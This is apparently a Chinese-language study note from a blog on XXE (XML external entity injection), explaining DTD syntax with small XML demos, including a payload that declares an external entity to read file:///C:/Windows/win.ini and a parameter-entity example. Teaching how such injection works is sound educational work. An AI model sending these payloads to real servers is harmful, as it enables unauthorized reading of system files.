• XXE漏洞笔记


    一、什么是XXE漏洞

    XXE漏洞全称为XML External Entity,也就是xml外部实体注入,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
    也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。可造成文件读取、命令执行、内网端口扫描等等危害

    二、什么是xml,DTD

    DTD全称是The document type definition,即是文档类型定义,
    可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    三、引用方法

        DTD 内部声明
        <!DOCTYPE 根元素 [元素声明]>
    
        DTD 外部引用(可以读取本地文件)
        <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
    
        引用公共DTD(可以调用远程文件)
        <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
    

    几个小dome

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (one,two,three)>
    	<!ELEMENT one (#PCDATA)>
    	<!ELEMENT two (#PCDATA)>
    	<!ELEMENT three (#PCDATA)>
    ]>
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    调用内部声明

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (flag)>
    	<!ENTITY hack "hack hack hack">
    ]>
    <test>
    	<flag>&hack;</flag>
    </test>
    

    调用本地xml文件

    <?xml version="1.0"?>
    <!DOCTYPE test SYSTEM "test.dtd">
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    读取本地文件

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
    ]>
    <test>
    <flag>&hacker;</flag>
    </test>
    

    另一种调用方法

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY % one "<!ENTITY two '66666'>">
    %one;
    ]>
    <test>
    <flag>&two;</flag>
    </test>
    
  • 相关阅读:
    编写一个C语言程序,产生一个存放26个英文字母组成的线性链表(a,b,c,…,z),并输出该线性表。
    JavaScript之数组函数
    JavaScript之数据类型转化
    xml约束
    PHP初认识
    JavaScript与css3
    JavaScript与css
    HTML5与JavaScript
    JSON
    xml初认识
  • 原文地址:https://www.cnblogs.com/BuFFERer/p/12534194.html
Copyright © 2020-2023  润新知